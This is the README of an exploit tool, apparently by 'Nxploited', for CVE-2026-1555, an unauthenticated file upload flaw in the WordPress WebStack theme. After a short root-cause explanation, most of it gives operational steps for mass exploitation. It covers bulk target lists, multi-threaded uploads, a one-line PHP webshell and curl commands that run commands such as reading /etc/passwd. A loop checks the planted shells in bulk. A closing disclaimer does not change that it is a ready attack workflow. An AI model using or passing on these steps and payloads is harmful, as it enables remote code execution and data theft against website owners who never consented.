CVE-2026-1555

WebStack <= 1.2024 - Unauthenticated Arbitrary File Upload

📌 Vulnerability Overview

🔬 Technical Root Cause

The io_img_upload() function registered under the WordPress admin-ajax.php action hook img_upload performs zero file type or extension validation before writing the uploaded file to the server. Because the action is registered without authentication checks (wp_ajax_nopriv_), any unauthenticated remote attacker can POST an arbitrary file — including a PHP webshell — and the server will store it in a publicly accessible path, enabling direct Remote Code Execution.

Vulnerable endpoint:

POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>

⚙️ Tool Features

• 🔁 Multi-threaded scanning with configurable worker count
• 📋 Bulk target support via a target list file
• 📤 Automatic shell URL extraction from JSON response
• 💾 Successful shell URLs saved to uploaded_paths.txt
• 🎨 Rich terminal UI with live progress tracking
• 🔕 SSL verification suppressed for maximum compatibility

📦 Requirements

Python version: 3.8+

Install dependencies:

pip install requests rich urllib3

🚀 Usage

1. Prepare your target list

Create a file named list.txt (or any name you prefer) with one target per line:

https://target1.com
https://target2.com
http://target3.com

Targets without http:// or https:// are automatically prefixed with http://.

2. Prepare your payload

Place your webshell in the same directory as the script. Example:

# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

3. Run the tool

python CVE-2026-1555.py

You will be prompted for:

📤 Output & Shell Extraction

Live Output

Each successful upload prints:

╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful                              │
│                                                │
│ Target:    https://target.com                  │
│ Shell URL: https://target.com/wp-content/...   │
╰────────────────────────────────────────────────╯

Saved Results

All successful shell URLs are appended to:

uploaded_paths.txt

Accessing Your Shell

After a successful upload, access the shell directly via browser or curl:

# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id

# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"

# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"

The exact upload path is extracted from the server's JSON response (data.src) and printed automatically.

Bulk Shell Verification

Quickly verify all uploaded shells from the output file:

while read url; do
  echo -n "[*] $url -> "
  curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt

📊 Summary Output

At the end of each run, a summary is printed:

Summary  50/50  OK: 12  FAIL: 38
╭──────────────────────────────────────────╮
│  Shell URLs saved to uploaded_paths.txt  │
╰──────────────────────────────────────────╯

🗂️ File Structure

CVE-2026-1555.py       ← Main exploit script
list.txt               ← Target URLs (one per line)
shell.php              ← Payload to upload
uploaded_paths.txt     ← Auto-generated: successful shell URLs

⚠️ Disclaimer

This tool is provided strictly for authorized penetration testing, security research, and educational purposes only.

The author — Nxploited — holds no responsibility for any misuse, damage, or illegal activity carried out using this tool. By using this tool, you confirm that you have explicit written permission to test all target systems.

Unauthorized use against systems you do not own or have explicit permission to test is illegal and may result in criminal prosecution under applicable cybercrime laws.

Use responsibly. You are solely accountable for your actions.